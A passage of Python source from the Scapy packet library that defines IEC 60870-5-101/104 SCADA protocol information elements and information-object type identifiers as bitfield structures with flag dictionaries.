'interrogation', RQT_FLAG_GENERAL_COUNTER_INTERROGATION: 'general counter ' 'interrogation', } GENERATED_ATTRIBUTES = [ ('RQT_FLAG_COMPATIBLE_RESERVED', 'compatible reserved', RQT_FLAGS, 6, 31), ('RQT_FLAG_PRIVATE_RESERVED', 'private reserved', RQT_FLAGS, 32, 63), ] FRZ_FLAG_QUERY = 0 FRZ_FLAG_SAVE_COUNTER_WITHOUT_RESET = 1 FRZ_FLAG_SAVE_COUNTER_AND_RESET = 2 FRZ_FLAG_COUNTER_RESET = 3 FRZ_FLAGS = { FRZ_FLAG_QUERY: 'query', FRZ_FLAG_SAVE_COUNTER_WITHOUT_RESET: 'save counter, no counter reset', FRZ_FLAG_SAVE_COUNTER_AND_RESET: 'save counter and reset counter', FRZ_FLAG_COUNTER_RESET: 'reset counter' } informantion_element_fields = [ BitEnumField('frz', 0, 2, FRZ_FLAGS), BitEnumField('rqt', 0, 6, RQT_FLAGS) ] @_generate_attributes_and_dicts class IEC104_IE_QPM: """ QPM - qualifier of parameter of measured values EN 60870-5-101:2003, sec. 7.2.6.24 (p. 53) """ KPA_FLAG_UNUSED = 0 KPA_FLAG_THRESHOLD = 1 KPA_FLAG_SMOOTHING_FACTOR = 2 KPA_FLAG_LOWER_LIMIT_FOR_MEAS_TX = 3 KPA_FLAG_UPPER_LIMIT_FOR_MEAS_TX = 4 KPA_FLAGS = { KPA_FLAG_UNUSED: 'unused', KPA_FLAG_THRESHOLD: 'threshold', KPA_FLAG_SMOOTHING_FACTOR: 'smoothing factor', KPA_FLAG_LOWER_LIMIT_FOR_MEAS_TX: 'lower limit meas transmit', KPA_FLAG_UPPER_LIMIT_FOR_MEAS_TX: 'upper limit meas transmit' } GENERATED_ATTRIBUTES = [ ('KPA_FLAG_COMPATIBLE_RESERVED', 'compatible reserved', KPA_FLAGS, 5, 31), ('KPA_FLAG_PRIVATE_RESERVED', 'private reserved', KPA_FLAGS, 32, 63) ] LPC_FLAG_LOCAL_PARAMETER_MOT_CHANGED = 0 LPC_FLAG_LOCAL_PARAMETER_CHANGED = 1 LPC_FLAGS = { LPC_FLAG_LOCAL_PARAMETER_MOT_CHANGED: 'local parameter not changed', LPC_FLAG_LOCAL_PARAMETER_CHANGED: 'local parameter changed' } POP_FLAG_PARAM_EFFECTIVE = 0 POP_FLAG_PARAM_INEFFECTIVE = 1 POP_FLAGS = { POP_FLAG_PARAM_EFFECTIVE: 'parameter effective', POP_FLAG_PARAM_INEFFECTIVE: 'parameter ineffective', } informantion_element_fields = [ BitEnumField('pop', 0, 1, POP_FLAGS), # usually unused, should be zero BitEnumField('lpc', 0, 1, LPC_FLAGS), # usually unused, should be zero BitEnumField('kpa', 0, 6, KPA_FLAGS), ] @_generate_attributes_and_dicts class IEC104_IE_QPA: """ QPA - qualifier of parameter activation EN 60870-5-101:2003, sec. 7.2.6.25 (p. 53) """ QPA_FLAG_UNUSED = 0 QPA_FLAG_ACT_DEACT_LOADED_PARAM_OA_0 = 1 QPA_FLAG_ACT_DEACT_LOADED_PARAM = 2 QPA_FLAG_ACT_DEACT_CYCLIC_TX = 3 QPA_FLAGS = { QPA_FLAG_UNUSED: 'unused', QPA_FLAG_ACT_DEACT_LOADED_PARAM_OA_0: 'act/deact loaded parameters ' 'for object addr 0', QPA_FLAG_ACT_DEACT_LOADED_PARAM: 'act/deact loaded parameters for ' 'given object addr', QPA_FLAG_ACT_DEACT_CYCLIC_TX: 'act/deact cyclic transfer of object ' 'given by object addr', } GENERATED_ATTRIBUTES = [ ('QPA_FLAG_COMPATIBLE_RESERVED', 'compatible reserved', QPA_FLAGS, 4, 127), ('QPA_FLAG_PRIVATE_RESERVED', 'private reserved', QPA_FLAGS, 128, 255) ] informantion_element_fields = [ ByteEnumField('qpa', 0, QPA_FLAGS) ] @_generate_attributes_and_dicts class IEC104_IE_QRP: """ QRP - Qualifier of reset process command EN 60870-5-101:2003, sec. 7.2.6.27 (p. 54) """ QRP_FLAG_UNUSED = 0 QRP_FLAG_GENERAL_PROCESS_RESET = 1 QRP_FLAG_RESET_EVENT_BUFFER = 2 QRP_FLAGS = { QRP_FLAG_UNUSED: 'unsued', QRP_FLAG_GENERAL_PROCESS_RESET: 'general process reset', QRP_FLAG_RESET_EVENT_BUFFER: 'reset event buffer' } GENERATED_ATTRIBUTES = [ ('QRP_FLAG_COMPATIBLE_RESERVED', 'compatible reserved', QRP_FLAGS, 3, 127), ('QRP_FLAG_PRIVATE_RESERVED', 'private reserved', QRP_FLAGS, 128, 255), ] informantion_element_fields = [ ByteEnumField('qrp', 0, QRP_FLAGS) ] @_generate_attributes_and_dicts class IEC104_IE_FRQ: """ FRQ - file ready qualifier EN 60870-5-101:2003, sec. 7.2.6.28 (p. 54) """ FR_FLAG_UNUSED = 0 FR_FLAGS = { FR_FLAG_UNUSED: 'unused' } GENERATED_ATTRIBUTES = [ ('FR_FLAG_COMPATIBLE_RESERVED', 'compatible reserved', FR_FLAGS, 1, 63), ('FR_FLAG_PRIVATE_RESERVED', 'private reserved', FR_FLAGS, 64, 127), ] FRACK_FLAG_POSITIVE_ACK = 0 FRACK_FLAG_NEGATIVE_ACK = 1 FRACK_FLAGS = { FRACK_FLAG_POSITIVE_ACK: 'positive ack', FRACK_FLAG_NEGATIVE_ACK: 'negative ack' } informantion_element_fields = [ BitEnumField('fr_ack', 0, 1, FRACK_FLAGS), BitEnumField('fr', 0, 7, FR_FLAGS) ] @_generate_attributes_and_dicts class IEC104_IE_SRQ: """ SRQ - sequence ready qualifier EN 60870-5-101:2003, sec. 7.2.6.29 (p. 54) """ SR_FLAG_UNUSED = 0 SR_FLAGS = { SR_FLAG_UNUSED: 'unused' } GENERATED_ATTRIBUTES = [ ('SR_FLAG_COMPATIBLE_RESERVED', 'compatible reserved', SR_FLAGS, 1, 63), ('SR_FLAG_PRIVATE_RESERVED', 'private reserved', SR_FLAGS, 64, 127), ] SLOAD_FLAG_SECTION_READY = 0 SLOAD_FLAG_SECTION_NOT_READY = 1 SLAOD_FLAGS = { SLOAD_FLAG_SECTION_READY: 'section ready', SLOAD_FLAG_SECTION_NOT_READY: 'section not ready' } informantion_element_fields = [ BitEnumField('section_load_state', 0, 1, SLAOD_FLAGS), BitEnumField('sr', 0, 7, SR_FLAGS) ] @_generate_attributes_and_dicts class IEC104_IE_SCQ: """ SCQ - select and call qualifier EN 60870-5-101:2003, sec. 7.2.6.30 (p. 55) """ SEL_CALL_FLAG_UNUSED = 0 SEL_CALL_FLAG_FILE_SELECT = 1 SEL_CALL_FLAG_FILE_REQUEST = 2 SEL_CALL_FLAG_FILE_ABORT = 3 SEL_CALL_FLAG_FILE_DELETE = 4 SEL_CALL_FLAG_SECTION_SELECTION = 5 SEL_CALL_FLAG_SECTION_REQUEST = 6 SEL_CALL_FLAG_SECTION_ABORT = 7 SEL_CALL_FLAGS = { SEL_CALL_FLAG_UNUSED: 'unused', SEL_CALL_FLAG_FILE_SELECT: 'file select', SEL_CALL_FLAG_FILE_REQUEST: 'file request', SEL_CALL_FLAG_FILE_ABORT: 'file abort', SEL_CALL_FLAG_FILE_DELETE: 'file delete', SEL_CALL_FLAG_SECTION_SELECTION: 'section selection', SEL_CALL_FLAG_SECTION_REQUEST: 'section request', SEL_CALL_FLAG_SECTION_ABORT: 'section abort' } SEL_CALL_ERR_FLAG_UNUSED = 0 SEL_CALL_ERR_FLAG_REQ_MEM_AREA_NO_AVAIL = 1 SEL_CALL_ERR_FLAG_INVALID_CHECKSUM = 2 SEL_CALL_ERR_FLAG_UNEXPECTED_COMMUNICATION_SERVICE = 3 SEL_CALL_ERR_FLAG_UNEXPECTED_FILENAME = 4 SEL_CALL_ERR_FLAG_UNEXPECTED_SECTION_NAME = 5 SEL_CALL_ERR_FLAG_COMPATIBLE_RESERVED_6 = 6 SEL_CALL_ERR_FLAG_COMPATIBLE_RESERVED_7 = 7 SEL_CALL_ERR_FLAG_COMPATIBLE_RESERVED_8 = 8 SEL_CALL_ERR_FLAG_COMPATIBLE_RESERVED_9 = 9 SEL_CALL_ERR_FLAG_COMPATIBLE_RESERVED_10 = 10 SEL_CALL_ERR_FLAG_PRIVATE_RESERVED_11 = 11 SEL_CALL_ERR_FLAG_PRIVATE_RESERVED_12 = 12 SEL_CALL_ERR_FLAG_PRIVATE_RESERVED_13 = 13 SEL_CALL_ERR_FLAG_PRIVATE_RESERVED_14 = 14 SEL_CALL_ERR_FLAG_PRIVATE_RESERVED_15 = 15 SEL_CALL_ERR_FLAGS = { SEL_CALL_ERR_FLAG_UNUSED: 'unused', SEL_CALL_ERR_FLAG_REQ_MEM_AREA_NO_AVAIL: 'requested memory area ' 'not available', SEL_CALL_ERR_FLAG_INVALID_CHECKSUM: 'invalid checksum', SEL_CALL_ERR_FLAG_UNEXPECTED_COMMUNICATION_SERVICE: 'unexpected ' 'communication ' 'service', SEL_CALL_ERR_FLAG_UNEXPECTED_FILENAME: 'unexpected file name', SEL_CALL_ERR_FLAG_UNEXPECTED_SECTION_NAME: 'unexpected section name' } GENERATED_ATTRIBUTES = [ ('SEL_CALL_FLAG_COMPATIBLE_RESERVED', 'compatible reserved', SEL_CALL_FLAGS, 8, 10), ('SEL_CALL_FLAG_PRIVATE_RESERVED', 'private reserved', SEL_CALL_FLAGS, 11, 15), ('SEL_CALL_ERR_FLAG_COMPATIBLE_RESERVED', 'compatible reserved', SEL_CALL_ERR_FLAGS, 6, 10), ('SEL_CALL_ERR_FLAG_PRIVATE_RESERVED', 'private reserved', SEL_CALL_ERR_FLAGS, 11, 15) ] informantion_element_fields = [ BitEnumField('errors', 0, 4, SEL_CALL_ERR_FLAGS), BitEnumField('select_call', 0, 4, SEL_CALL_FLAGS) ] @_generate_attributes_and_dicts class IEC104_IE_LSQ: """ LSQ - last section or segment qualifier EN 60870-5-101:2003, sec. 7.2.6.31 (p. 55) """ LSQ_FLAG_UNUSED = 0 LSQ_FLAG_FILE_TRANSFER_NO_ABORT = 1 LSQ_FLAG_FILE_TRANSFER_ABORT = 2 LSQ_FLAG_SECTION_TRANSFER_NO_ABORT = 3 LSQ_FLAG_SECTION_TRANSFER_ABORT = 4 LSQ_FLAGS = { LSQ_FLAG_UNUSED: 'unused', LSQ_FLAG_FILE_TRANSFER_NO_ABORT: 'file transfer - no abort', LSQ_FLAG_FILE_TRANSFER_ABORT: 'file transfer - aborted', LSQ_FLAG_SECTION_TRANSFER_NO_ABORT: 'section transfer - no abort', LSQ_FLAG_SECTION_TRANSFER_ABORT: 'section transfer - aborted', } GENERATED_ATTRIBUTES = [ ('LSQ_FLAG_COMPATIBLE_RESERVED', 'compatible reserved', LSQ_FLAGS, 5, 127), ('LSQ_FLAG_PRIVATE_RESERVED', 'private reserved', LSQ_FLAGS, 128, 255), ] informantion_element_fields = [ ByteEnumField('lsq', 0, LSQ_FLAGS) ] @_generate_attributes_and_dicts class IEC104_IE_AFQ: """ AFQ - acknowledge file or section qualifier EN 60870-5-101:2003, sec. 7.2.6.32 (p. 55) """ ACK_FILE_OR_SEC_FLAG_UNUSED = 0 ACK_FILE_OR_SEC_FLAG_POSITIVE_ACK_FILE_TRANSFER = 1 ACK_FILE_OR_SEC_FLAG_NEGATIVE_ACK_FILE_TRANSFER = 2 ACK_FILE_OR_SEC_FLAG_POSITIVE_ACK_SECTION_TRANSFER = 3 ACK_FILE_OR_SEC_FLAG_NEGATIVE_ACK_SECTION_TRANSFER = 4 ACK_FILE_OR_SEC_FLAGS = { ACK_FILE_OR_SEC_FLAG_UNUSED: 'unused', ACK_FILE_OR_SEC_FLAG_POSITIVE_ACK_FILE_TRANSFER: 'positive acknowledge' ' file transfer', ACK_FILE_OR_SEC_FLAG_NEGATIVE_ACK_FILE_TRANSFER: 'negative acknowledge' ' file transfer', ACK_FILE_OR_SEC_FLAG_POSITIVE_ACK_SECTION_TRANSFER: 'positive ' 'acknowledge ' 'section transfer', ACK_FILE_OR_SEC_FLAG_NEGATIVE_ACK_SECTION_TRANSFER: 'negative ' 'acknowledge ' 'section transfer' } ACK_FILE_OR_SEC_ERR_FLAG_UNUSED = 0 ACK_FILE_OR_SEC_ERR_FLAG_REQ_MEM_AREA_NO_AVAIL = 1 ACK_FILE_OR_SEC_ERR_FLAG_INVALID_CHECKSUM = 2 ACK_FILE_OR_SEC_ERR_FLAG_UNEXPECTED_COMMUNICATION_SERVICE = 3 ACK_FILE_OR_SEC_ERR_FLAG_UNEXPECTED_FILENAME = 4 ACK_FILE_OR_SEC_ERR_FLAG_UNEXPECTED_SECTION_NAME = 5 ACK_FILE_OR_SEC_ERR_FLAGS = { ACK_FILE_OR_SEC_ERR_FLAG_UNUSED: 'unused', ACK_FILE_OR_SEC_ERR_FLAG_REQ_MEM_AREA_NO_AVAIL: 'requested memory ' 'area not available', ACK_FILE_OR_SEC_ERR_FLAG_INVALID_CHECKSUM: 'invalid checksum', ACK_FILE_OR_SEC_ERR_FLAG_UNEXPECTED_COMMUNICATION_SERVICE: 'unexpected' ' communica' 'tion ' 'service', ACK_FILE_OR_SEC_ERR_FLAG_UNEXPECTED_FILENAME: 'unexpected file name', ACK_FILE_OR_SEC_ERR_FLAG_UNEXPECTED_SECTION_NAME: 'unexpected ' 'section name' } GENERATED_ATTRIBUTES = [ ('ACK_FILE_OR_SEC_FLAG_COMPATIBLE_RESERVED', 'compatible reserved', ACK_FILE_OR_SEC_FLAGS, 5, 10), ('ACK_FILE_OR_SEC_FLAG_PRIVATE_RESERVED', 'private reserved', ACK_FILE_OR_SEC_FLAGS, 11, 15), ('ACK_FILE_OR_SEC_ERR_FLAG_COMPATIBLE_RESERVED', 'compatible reserved', ACK_FILE_OR_SEC_ERR_FLAGS, 6, 10), ('ACK_FILE_OR_SEC_ERR_FLAG_PRIVATE_RESERVED', 'private reserved', ACK_FILE_OR_SEC_ERR_FLAGS, 11, 15) ] informantion_element_fields = [ BitEnumField('errors', 0, 4, ACK_FILE_OR_SEC_ERR_FLAGS), BitEnumField('ack_file_or_sec', 0, 4, ACK_FILE_OR_SEC_FLAGS) ] class IEC104_IE_NOF: """ NOF - name of file EN 60870-5-101:2003, sec. 7.2.6.33 (p. 56) """ informantion_element_fields = [ LEShortField('file_name', 0) ] class IEC104_IE_NOS: """ NOS - name of section EN 60870-5-101:2003, sec. 7.2.6.34 (p. 56) """ informantion_element_fields = [ ByteField('section_name', 0) ] class IEC104_IE_LOF: """ LOF - length of file or section EN 60870-5-101:2003, sec. 7.2.6.35 (p. 55) """ informantion_element_fields = [ ThreeBytesField('file_length', 0) ] class IEC104_IE_LOS: """ LOS - length of segment EN 60870-5-101:2003, sec. 7.2.6.36 (p. 56) """ informantion_element_fields = [ ByteField('segment_length', 0) ] class IEC104_IE_CHS: """ CHS - checksum EN 60870-5-101:2003, sec. 7.2.6.37 (p. 56) """ informantion_element_fields = [ ByteField('checksum', 0) ] @_generate_attributes_and_dicts class IEC104_IE_SOF: """ SOF - status of file EN 60870-5-101:2003, sec. 7.2.6.38 (p. 56) """ STATUS_FLAG_UNUSED = 0 STATUS_FLAGS = { STATUS_FLAG_UNUSED: 'unused' } GENERATED_ATTRIBUTES = [ ('STATUS_FLAG_COMPATIBLE_RESERVED', 'compatible reserved', STATUS_FLAGS, 1, 15), ('STATUS_FLAG_PRIVATE_RESERVED', 'private reserved', STATUS_FLAGS, 16, 32) ] LFD_FLAG_NEXT_FILE_OF_DIR_FOLLOWS = 0 LFD_FLAG_LAST_FILE_OF_DIR = 1 LFD_FLAGS = { LFD_FLAG_NEXT_FILE_OF_DIR_FOLLOWS: 'next file of dir follows', LFD_FLAG_LAST_FILE_OF_DIR: 'last file of dir' } FOR_FLAG_NAME_DEFINES_FILE = 0 FOR_FLAG_NAME_DEFINES_SUBDIR = 1 FOR_FLAGS = { FOR_FLAG_NAME_DEFINES_FILE: 'name defines file', FOR_FLAG_NAME_DEFINES_SUBDIR: 'name defines subdirectory' } FA_FLAG_FILE_WAITS_FOR_TRANSFER = 0 FA_FLAG_FILE_TRANSFER_IS_ACTIVE = 1 FA_FLAGS = { FA_FLAG_FILE_WAITS_FOR_TRANSFER: 'file waits for transfer', FA_FLAG_FILE_TRANSFER_IS_ACTIVE: 'transfer of file active' } informantion_element_fields = [ BitEnumField('fa', 0, 1, FA_FLAGS), BitEnumField('for', 0, 1, FOR_FLAGS), BitEnumField('lfd', 0, 1, LFD_FLAGS), BitEnumField('status', 0, 5, STATUS_FLAGS) ] @_generate_attributes_and_dicts class IEC104_IE_QOS: """ QOS - qualifier of set-point command EN 60870-5-101:2003, sec. 7.2.6.39 (p. 57) """ QL_FLAG_UNUSED = 0 QL_FLAGS = { QL_FLAG_UNUSED: 'unused' } GENERATED_ATTRIBUTES = [ ('QL_FLAG_COMPATIBLE_RESERVED', 'compatible reserved', QL_FLAGS, 1, 63), ('QL_FLAG_PRIVATE_RESERVED', 'private reserved', QL_FLAGS, 64, 127) ] SE_FLAG_EXECUTE = 0 SE_FLAG_SELECT = 1 SE_FLAGS = { SE_FLAG_EXECUTE: 'execute', SE_FLAG_SELECT: 'select' } informantion_element_fields = [ BitEnumField('action', 0, 1, SE_FLAGS), BitEnumField('ql', 0, 7, QL_FLAGS) ] class IEC104_IE_SCD: """ SCD - status and status change detection EN 60870-5-101:2003, sec. 7.2.6.40 (p. 57) """ ST_FLAG_STATE_OFF = 0 ST_FLAG_STATE_ON = 1 ST_FLAGS = { ST_FLAG_STATE_OFF: 'off', ST_FLAG_STATE_ON: 'on' } CD_FLAG_STATE_NOT_CHANGED = 0 CD_FLAG_STATE_CHANGED = 1 CD_FLAGS = { CD_FLAG_STATE_NOT_CHANGED: 'state not changed', CD_FLAG_STATE_CHANGED: 'state changed' } informantion_element_fields = [ BitEnumField('cd_16', 0, 1, CD_FLAGS), BitEnumField('cd_15', 0, 1, CD_FLAGS), BitEnumField('cd_14', 0, 1, CD_FLAGS), BitEnumField('cd_13', 0, 1, CD_FLAGS), BitEnumField('cd_12', 0, 1, CD_FLAGS), BitEnumField('cd_11', 0, 1, CD_FLAGS), BitEnumField('cd_10', 0, 1, CD_FLAGS), BitEnumField('cd_9', 0, 1, CD_FLAGS), BitEnumField('cd_8', 0, 1, CD_FLAGS), BitEnumField('cd_7', 0, 1, CD_FLAGS), BitEnumField('cd_6', 0, 1, CD_FLAGS), BitEnumField('cd_5', 0, 1, CD_FLAGS), BitEnumField('cd_4', 0, 1, CD_FLAGS), BitEnumField('cd_3', 0, 1, CD_FLAGS), BitEnumField('cd_2', 0, 1, CD_FLAGS), BitEnumField('cd_1', 0, 1, CD_FLAGS), BitEnumField('st_16', 0, 1, ST_FLAGS), BitEnumField('st_15', 0, 1, ST_FLAGS), BitEnumField('st_14', 0, 1, ST_FLAGS), BitEnumField('st_13', 0, 1, ST_FLAGS), BitEnumField('st_12', 0, 1, ST_FLAGS), BitEnumField('st_11', 0, 1, ST_FLAGS), BitEnumField('st_10', 0, 1, ST_FLAGS), BitEnumField('st_9', 0, 1, ST_FLAGS), BitEnumField('st_8', 0, 1, ST_FLAGS), BitEnumField('st_7', 0, 1, ST_FLAGS), BitEnumField('st_6', 0, 1, ST_FLAGS), BitEnumField('st_5', 0, 1, ST_FLAGS), BitEnumField('st_4', 0, 1, ST_FLAGS), BitEnumField('st_3', 0, 1, ST_FLAGS), BitEnumField('st_2', 0, 1, ST_FLAGS), BitEnumField('st_1', 0, 1, ST_FLAGS), ] class IEC104_IE_TSC: """ TSC - test sequence counter EN 60870-5-104:2006, sec. 8.8 (p. 44) """ informantion_element_fields = [ LEShortField('tsc', 0) ] scapy-2.4.4/scapy/contrib/scada/iec104/iec104_information_objects.py000066400000000000000000002212021372370053500251400ustar00rootroot00000000000000# This file is part of Scapy # See http://www.secdev.org/projects/scapy for more information # Copyright (C) Thomas Tannhaeuser # This program is published under a GPLv2 license # # scapy.contrib.description = IEC-60870-5-104 ASDU layers / IO definitions # scapy.contrib.status = loads """ application service data units used by IEC 60870-5-101/104 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ :description: This module provides the information object (IO) definitions used within the IEC 60870-5-101 and IEC 60870-5-104 protocol. normative references: - IEC 60870-5-101:2003 (sec. 7.3) - IEC 60870-5-104:2006 (sec. 8)) :NOTES: - this file contains all IO definitions from 101 and 104 - even if an IO is not used within 104 """ from scapy.config import conf from scapy.contrib.scada.iec104.iec104_fields import LEThreeBytesField from scapy.contrib.scada.iec104.iec104_information_elements import \ IEC104_IE_SIQ, IEC104_IE_CP24TIME2A, IEC104_IE_DIQ, IEC104_IE_VTI, \ IEC104_IE_QDS, IEC104_IE_BSI, IEC104_IE_NVA, IEC104_IE_SVA, \ IEC104_IE_R32_IEEE_STD_754, IEC104_IE_BCR, IEC104_IE_CP16TIME2A_ELAPSED, \ IEC104_IE_SEP, IEC104_IE_SPE, IEC104_IE_CP16TIME2A_PROTECTION_ACTIVE, \ IEC104_IE_QDP, IEC104_IE_CP16TIME2A_PROTECTION_COMMAND, IEC104_IE_OCI, \ IEC104_IE_SCD, IEC104_IE_CP56TIME2A, IEC104_IE_SCO, IEC104_IE_DCO, \ IEC104_IE_RCO, IEC104_IE_QOS, IEC104_IE_QOI, IEC104_IE_QCC, \ IEC104_IE_FBP, IEC104_IE_QRP, IEC104_IE_CP16TIME2A, IEC104_IE_QPM, \ IEC104_IE_QPA, IEC104_IE_NOF, IEC104_IE_LOF, IEC104_IE_FRQ, \ IEC104_IE_NOS, IEC104_IE_SRQ, IEC104_IE_SCQ, IEC104_IE_CHS, \ IEC104_IE_LSQ, IEC104_IE_AFQ, IEC104_IE_SOF, IEC104_IE_COI, \ IEC104_IE_CP56TIME2A_START_TIME, IEC104_IE_CP56TIME2A_STOP_TIME, \ IEC104_IE_TSC from scapy.fields import XStrLenField, BitFieldLenField from scapy.packet import Packet IEC104_IO_ID_UNDEFINED = 0x00 IEC104_IO_ID_M_SP_NA_1 = 0x01 IEC104_IO_ID_M_SP_TA_1 = 0x02 IEC104_IO_ID_M_DP_NA_1 = 0x03 IEC104_IO_ID_M_DP_TA_1 = 0x04 IEC104_IO_ID_M_ST_NA_1 = 0x05 IEC104_IO_ID_M_ST_TA_1 = 0x06 IEC104_IO_ID_M_BO_NA_1 = 0x07 IEC104_IO_ID_M_BO_TA_1 = 0x08 IEC104_IO_ID_M_ME_NA_1 = 0x09 IEC104_IO_ID_M_ME_TA_1 = 0x0a IEC104_IO_ID_M_ME_NB_1 = 0x0b IEC104_IO_ID_M_ME_TB_1 = 0x0c IEC104_IO_ID_M_ME_NC_1 = 0x0d IEC104_IO_ID_M_ME_TC_1 = 0x0e IEC104_IO_ID_M_IT_NA_1 = 0x0f IEC104_IO_ID_M_IT_TA_1 = 0x10 IEC104_IO_ID_M_EP_TA_1 = 0x11 IEC104_IO_ID_M_EP_TB_1 = 0x12 IEC104_IO_ID_M_EP_TC_1 = 0x13 IEC104_IO_ID_M_PS_NA_1 = 0x14 IEC104_IO_ID_M_ME_ND_1 = 0x15 IEC104_IO_ID_M_SP_TB_1 = 0x1e IEC104_IO_ID_M_DP_TB_1 = 0x1f IEC104_IO_ID_M_ST_TB_1 = 0x20 IEC104_IO_ID_M_BO_TB_1 = 0x21 IEC104_IO_ID_M_ME_TD_1 = 0x22 IEC104_IO_ID_M_ME_TE_1 = 0x23 IEC104_IO_ID_M_ME_TF_1 = 0x24 IEC104_IO_ID_M_IT_TB_1 = 0x25 IEC104_IO_ID_M_EP_TD_1 = 0x26 IEC104_IO_ID_M_EP_TE_1 = 0x27 IEC104_IO_ID_M_EP_TF_1 = 0x28 IEC104_IO_ID_C_SC_NA_1 = 0x2d IEC104_IO_ID_C_DC_NA_1 = 0x2e IEC104_IO_ID_C_RC_NA_1 = 0x2f IEC104_IO_ID_C_SE_NA_1 = 0x30 IEC104_IO_ID_C_SE_NB_1 = 0x31 IEC104_IO_ID_C_SE_NC_1 = 0x32 IEC104_IO_ID_C_BO_NA_1 = 0x33 IEC104_IO_ID_M_EI_NA_1 = 0x46 IEC104_IO_ID_C_IC_NA_1 = 0x64 IEC104_IO_ID_C_CI_NA_1 = 0x65 IEC104_IO_ID_C_RD_NA_1 = 0x66 IEC104_IO_ID_C_CS_NA_1 = 0x67 IEC104_IO_ID_C_TS_NA_1 = 0x68 IEC104_IO_ID_C_RP_NA_1 = 0x69 IEC104_IO_ID_C_CD_NA_1 = 0x6a IEC104_IO_ID_P_ME_NA_1 = 0x6e IEC104_IO_ID_P_ME_NB_1 = 0x6f IEC104_IO_ID_P_ME_NC_1 = 0x70 IEC104_IO_ID_P_AC_NA_1 = 0x71 IEC104_IO_ID_F_FR_NA_1 = 0x78 IEC104_IO_ID_F_SR_NA_1 = 0x79 IEC104_IO_ID_F_SC_NA_1 = 0x7a IEC104_IO_ID_F_LS_NA_1 = 0x7b IEC104_IO_ID_F_AF_NA_1 = 0x7c IEC104_IO_ID_F_SG_NA_1 = 0x7d IEC104_IO_ID_F_DR_TA_1 = 0x7e # specific IOs from 60870-5-104:2006, sec. 8 (p. 37 ff) IEC104_IO_ID_C_SC_TA_1 = 0x3a IEC104_IO_ID_C_DC_TA_1 = 0x3b IEC104_IO_ID_C_RC_TA_1 = 0x3c IEC104_IO_ID_C_SE_TA_1 = 0x3d IEC104_IO_ID_C_SE_TB_1 = 0x3e IEC104_IO_ID_C_SE_TC_1 = 0x3f IEC104_IO_ID_C_BO_TA_1 = 0x40 IEC104_IO_ID_C_TS_TA_1 = 0x6b IEC104_IO_ID_F_SC_NB_1 = 0x7f def _dict_add_reserved_range(d, start, end): for idx in range(start, end + 1): d[idx] = 'reserved_{}'.format(idx) IEC104_IO_DESCRIPTIONS = { 0: 'undefined', IEC104_IO_ID_M_SP_NA_1: 'M_SP_NA_1 (single point report)', IEC104_IO_ID_M_SP_TA_1: 'M_SP_TA_1 (single point report with timestamp) ' '# 60870-4-101 only', IEC104_IO_ID_M_DP_NA_1: 'M_DP_NA_1 (double point report)', IEC104_IO_ID_M_DP_TA_1: 'M_DP_TA_1 (double point report with timestamp) ' '# 60870-4-101 only', IEC104_IO_ID_M_ST_NA_1: 'M_ST_NA_1 (step control report)', IEC104_IO_ID_M_ST_TA_1: 'M_ST_TA_1 (step control report with timestamp) ' '# 60870-4-101 only', IEC104_IO_ID_M_BO_NA_1: 'M_BO_NA_1 (bitmask 32 bit)', IEC104_IO_ID_M_BO_TA_1: 'M_BO_TA_1 (bitmask 32 bit with timestamp) ' '# 60870-4-101 only', IEC104_IO_ID_M_ME_NA_1: 'M_ME_NA_1 (meas, normed value)', IEC104_IO_ID_M_ME_TA_1: 'M_ME_TA_1 (meas, normed value with timestamp) ' '# 60870-4-101 only', IEC104_IO_ID_M_ME_NB_1: 'M_ME_NB_1 (meas, scaled value)', IEC104_IO_ID_M_ME_TB_1: 'M_ME_TB_1 (meas, scaled value with timestamp) ' '# 60870-4-101 only', IEC104_IO_ID_M_ME_NC_1: 'M_ME_NC_1 (meas, shortened floating point value)', IEC104_IO_ID_M_ME_TC_1: 'M_ME_TC_1 (meas, shortened floating point value ' 'with timestamp) # 60870-4-101 only', IEC104_IO_ID_M_IT_NA_1: 'M_IT_NA_1 (counter value)', IEC104_IO_ID_M_IT_TA_1: 'M_IT_TA_1 (counter value with timestamp) ' '# 60870-4-101 only', IEC104_IO_ID_M_EP_TA_1: 'M_EP_TA_1 (protection event with timestamp) ' '# 60870-4-101 only', IEC104_IO_ID_M_EP_TB_1: 'M_EP_TB_1 (blocked protection trigger with ' 'timestamp) # 60870-4-101 only', IEC104_IO_ID_M_EP_TC_1: 'M_EP_TC_1 (blocked protection action with ' 'timestamp) # 60870-4-101 only', IEC104_IO_ID_M_PS_NA_1: 'M_PS_NA_1 (blocked single report with ' 'change indication)', IEC104_IO_ID_M_ME_ND_1: 'M_ME_ND_1 (meas, normed value, no quality ' 'indication)', IEC104_IO_ID_M_SP_TB_1: 'M_SP_TB_1 (single point report with CP56Time2a ' 'time field)', IEC104_IO_ID_M_DP_TB_1: 'M_DP_TB_1 (double point report with CP56Time2a ' 'time field)', IEC104_IO_ID_M_ST_TB_1: 'M_ST_TB_1 (step control report with CP56Time2a ' 'time field)', IEC104_IO_ID_M_BO_TB_1: 'M_BO_TB_1 (bitmask 32 bit with CP56Time2a time ' 'field)', IEC104_IO_ID_M_ME_TD_1: 'M_ME_TD_1 (meas, normed value with CP56Time2a ' 'time field)', IEC104_IO_ID_M_ME_TE_1: 'M_ME_TE_1 (meas, scaled value with CP56Time2a ' 'time field)', IEC104_IO_ID_M_ME_TF_1: 'M_ME_TF_1 (meas, shortened floating point value ' 'with CP56Time2a time field)', IEC104_IO_ID_M_IT_TB_1: 'M_IT_TB_1 (counter with CP56Time2a time field)', IEC104_IO_ID_M_EP_TD_1: 'M_EP_TD_1 (protection event with CP56Time2a ' 'time field)', IEC104_IO_ID_M_EP_TE_1: 'M_EP_TE_1 (blocked protection trigger with ' 'CP56Time2a time field)', IEC104_IO_ID_M_EP_TF_1: 'M_EP_TF_1 (blocked protection action with ' 'CP56Time2a time field)', IEC104_IO_ID_C_SC_NA_1: 'C_SC_NA_1 (single command)', IEC104_IO_ID_C_DC_NA_1: 'C_DC_NA_1 (double command)', IEC104_IO_ID_C_RC_NA_1: 'C_RC_NA_1 (step control command)', IEC104_IO_ID_C_SE_NA_1: 'C_SE_NA_1 (setpoint control command, ' 'normed value)', IEC104_IO_ID_C_SE_NB_1: 'C_SE_NB_1 (setpoint control command, ' 'scaled value)', IEC104_IO_ID_C_SE_NC_1: 'C_SE_NC_1 (setpoint control command, ' 'shortened floating point value)', IEC104_IO_ID_C_BO_NA_1: 'C_BO_NA_1 (bitmask 32 bit)', 